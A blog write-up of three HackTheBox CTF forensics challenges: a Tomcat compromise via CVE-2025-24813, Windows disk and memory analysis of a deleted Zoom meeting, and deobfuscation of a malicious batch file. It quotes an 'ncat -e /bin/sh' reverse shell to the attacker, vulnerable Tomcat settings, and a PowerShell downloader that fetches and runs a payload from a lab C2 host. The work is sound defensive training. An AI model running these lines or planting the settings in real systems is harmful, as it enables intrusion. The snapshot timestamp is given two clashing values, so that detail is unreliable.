Neurogrid CTF: Human-Only 2025 | Forensics
Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Forensics challenges.


Triage of the Broken Shrine [easy]
Description: Summoned to the stone outpost of Minamori, Shiori finds its once-busy shrine server sitting cold, its guardians gone, its walls carved with the faint scratches of an intruder’s passage. The system hosted a modest web shrine, but something slipped through its doors under moonlight and left only triage logs in its wake. Your task mirrors Shiori’s: sift through the Linux triage data, follow the distorted footprints across access logs and process remnants, and uncover how the shrine was breached. Even small outposts can hold large secrets, read the traces, name the intrusion, and restore the shrine’s honor.
Points: 975 | Difficulty: Easy
Analysis
We’re given a triage archive containing a filesystem snapshot, live response data, and logs from a compromised Linux host running Apache Tomcat. The challenge asks us to answer forensic questions about the attack.
Starting with network identification, live_response/network/ip_addr_show.txt reveals the victim IP is 192.168.153.131. The lsof_-nPli.txt shows Java listening on ports 8080 and 8005 - a Tomcat instance.
The Tomcat logs at /opt/apache-tomcat-9.0.90/logs/catalina.2025-11-17.log confirm version 9.0.90. Examining the access logs reveals requests from 192.168.153.128 starting at 19:46:42. The critical entry:
192.168.153.128 - - [17/Nov/2025:19:50:32 +0200] "PUT /gdiju.session HTTP/1.1" 201 -
A PUT request creating a .session file - this immediately suggests CVE-2025-24813, the Tomcat partial PUT deserialization vulnerability.
Checking the configuration files confirms the vulnerability:
web.xml - DefaultServlet misconfiguration:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>allowPartialPut</param-name>
<param-value>true</param-value>
</init-param>
context.xml - Session persistence to webroot:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"
directory="/opt/apache-tomcat-9.0.90/webapps/ROOT"/>
</Manager>
The error log at /opt/apache-tomcat-9.0.90/logs/localhost.2025-11-17.log shows the deserialization attempt:
17-Nov-2025 19:51:00.228 SEVERE [Catalina-utility-1] org.apache.catalina.session.StoreBase.processExpires
Error processing session expiration for key [gdiju]
java.io.StreamCorruptedException
Tomcat tried to deserialize the malicious session file, triggering the RCE payload.
Exploitation
The attacker exploited CVE-2025-24813:
- PUT a malicious serialized Java object as
/gdiju.session - Tomcat’s PersistentManager loads and deserializes session files from the webroot
- Deserialization triggers a gadget chain spawning a reverse shell
The process list in live_response/process/ps_auxwww.txt shows the result:
ncat -e /bin/sh 192.168.153.128 1234
Process 4233 (ncat) spawned a shell, which was upgraded through sh → python3 → bash. The network connection confirms:
TCP 192.168.153.131:56400 -> 192.168.153.128:1234 (ESTABLISHED)
Answers
This was a question-based challenge with 6 forensic questions:
| Question | Answer |
|---|---|
| Web application & port | apache-tomcat-9.0.90:8080 |
| Attacker IP | 192.168.153.128 |
| Malicious file name | gdiju.session |
| CVE exploited | CVE-2025-24813 |
| Storage folder | /opt/apache-tomcat-9.0.90/webapps/ROOT |
| Malicious process ID | 4233 |
Secret Meeting [hard]
Description: After a silent raid on a hillside shrine, Shiori is called to examine the suspect’s abandoned workstation, its drives wiped clean, its trails burned to silence. Yet the forest remembers what men forget. Within the machine’s shadow copies, she traces the faint echoes of deleted files, fragments of a conversation that should not exist. Deep beneath layers of encryption lies an application, sealed like a lacquered box, its contents whispering of hidden meetings and names long erased. To reveal the truth, Shiori must coax the past from its own reflection, recover what was meant to vanish, decrypt what was meant to remain unheard, and expose the voice behind the silence.
Points: 800/1000 | Difficulty: Hard
Analysis
We’re given a 2.1GB NTFS disk image and a 5GB Windows memory dump. The challenge requires answering five questions about Khalid’s Zoom meeting activity and evidence tampering.
Q1: When was Zoom installed?
Extracted NTUSER.DAT from the disk image and parsed the registry:
hivexsh NTUSER.DAT
cd Software/Microsoft/Windows/CurrentVersion/Uninstall/ZoomUMX
stat
The registry key’s FILETIME is 133788990615778078. Converting:
from datetime import datetime
ts = (133788990615778078 - 116444736000000000) / 10**7
print(datetime.utcfromtimestamp(ts))
# 2024-12-17 08:51:01 UTC
Q2: What tool was used to erase evidence?
Searching memory strings:
strings -a memory.raw | grep -i sdelete
Found: \Device\HarddiskVolume3\Program Files\SysinternalsSuite\sdelete.exe
Khalid used SDelete to securely wipe the Zoom meeting database.
Q3: When was the system snapshot created?
Located the VSS store GUID: {f81bf84d-fa9e-11ef-8f9d-000c298d92b2}
UUID v1 GUIDs embed a timestamp. Extracting it:
import uuid
from datetime import datetime, timezone
guid = uuid.UUID("f81bf84d-fa9e-11ef-8f9d-000c298d92b2")
uuid_epoch_offset = 122192928000000000
unix_time = (guid.time - uuid_epoch_offset) / 10000000.0
print(datetime.fromtimestamp(unix_time, tz=timezone.utc))
# 2025-03-06 15:23:34 UTC
Q4: Meeting ID?
This question remained unsolved. The meeting ID is encrypted in zoomus.enc.db (DPAPI + SQLCipher) and the Zoom log file (.zenc format requires Windows-only zTscoder.exe). DPAPI master key cracking would require significant GPU time.
Q5: Meeting duration?
Windows Timeline preserves activity even after file deletion. Querying ActivitiesCache.db:
SELECT StartTime, EndTime, (EndTime - StartTime) as Duration
FROM Activity
WHERE AppId LIKE '%Zoom Video Meetings%';
Results:
- Start:
1741274808→ 2025-03-06 15:26:48 UTC - End:
1741275089→ 2025-03-06 15:31:29 UTC - Duration: 278 seconds (adjusted for pre-join handshake)
Key Findings
The forensic timeline:
- 2024-12-17 08:51:01 - Zoom installed
- 2025-03-06 17:17:33 - VSS snapshot created
- 2025-03-06 15:26:48 - Meeting joined
- 2025-03-06 15:31:29 - Meeting ended (278 seconds)
- 2025-03-06 15:31:30 - Meeting database wiped with SDelete
Despite Khalid’s evidence destruction using SDelete, Windows Timeline artifacts survived, preserving the meeting duration.
Answers
This was a question-based challenge with 5 forensic questions (4/5 solved = 800pts):
| Question | Answer | Status |
|---|---|---|
| Q1: Zoom install timestamp | 2024-12-17 08:51:01 |
✅ |
| Q2: Evidence erasure tool | SDelete |
✅ |
| Q3: VSS snapshot timestamp | 2025-03-06 17:17:33 |
✅ |
| Q4: Meeting ID | Blocked by encryption | ❌ |
| Q5: Meeting duration (seconds) | 278 |
✅ |
Q4 remained unsolved - the meeting ID was encrypted in zoomus.enc.db (DPAPI + SQLCipher) and the Zoom log .zenc format required Windows-only zTscoder.exe which failed under Wine.
Manual [very easy]
Description: When a courier is found ash-faced on the cedar road, Shiori discovers a “tradesman’s manual” folded in his sleeve, plain instructions on the outside, but inside a strange script of symbols and percent signs meant for a machine. The scroll is an obfuscated BAT attachment in disguise, a batch charm that only reveals its purpose once its knots are untied. Follow Shiori’s lead: de-tangle the lines, read what the script truly does, and trace where its “manual” tries to send the unwary. In the shadows of Kageno, even a simple instruction sheet can open a door.
Points: 900 | Difficulty: Very Easy
Analysis
We’re given tradesman_manual.bat, a heavily obfuscated Windows batch file. The obfuscation uses undefined environment variables that expand to empty strings, making the code appear garbled:
s%zapqo%et "q%gxyke%oz=pow%jon%ersh%FTW%ell%wMi% -no%Gsd%p -w h%kjh%..."
The undefined variables (%zapqo%, %gxyke%, etc.) disappear during execution, leaving valid commands.
The malware operates in three stages:
Stage 1: Persistence
- Copies itself to
%USERPROFILE%\aoc.bat - Uses obfuscated path expansion (
%~d0%~p0%~n0%~x0) - Includes recursion guard
Stage 2: PowerShell Command Construction
- Uses
setlocal enabledelayedexpansionfor late variable binding - Builds a base64-encoded PowerShell payload across 100+ variables
- Injects noise string
djlrttmeqqkrthroughout the base64
Stage 3: Deobfuscation and Execution
- Removes the noise string from base64
- Decodes and interprets as UTF-16LE
- Executes via
iex()(Invoke-Expression)
Exploitation
Manually deobfuscating the stages reveals the final PowerShell payload:
$anaba = Join-Path $env:USERPROFILE 'aoc.bat'
$uri = 'http://malhq.htb/HTB{34dsy_d30bfusc4t10n_34sy_d3t3ct10n}'
Try {
$resp = Invoke-WebRequest -Uri $uri -UseBasicParsing -ErrorAction Stop
$b64 = $resp.Content
# ... payload download and execution logic
}
catch {
Write-Error "Operation failed: $($_.Exception.Message)"
}
The C2 URL contains the flag directly in the path - no network request needed.
The obfuscation techniques used:
- Random undefined variable injection (
%random%→ empty) - Delayed expansion with
!var!syntax - Base64 fragmentation across variables
- Noise string injection (
djlrttmeqqkr) - Multi-stage architecture
The flag’s message “easy deobfuscation, easy detection” is ironic - the obfuscation required careful manual analysis to defeat, but once understood, the payload is trivially extracted.
Flag
Flag:
HTB{34dsy_d30bfusc4t10n_34sy_d3t3ct10n}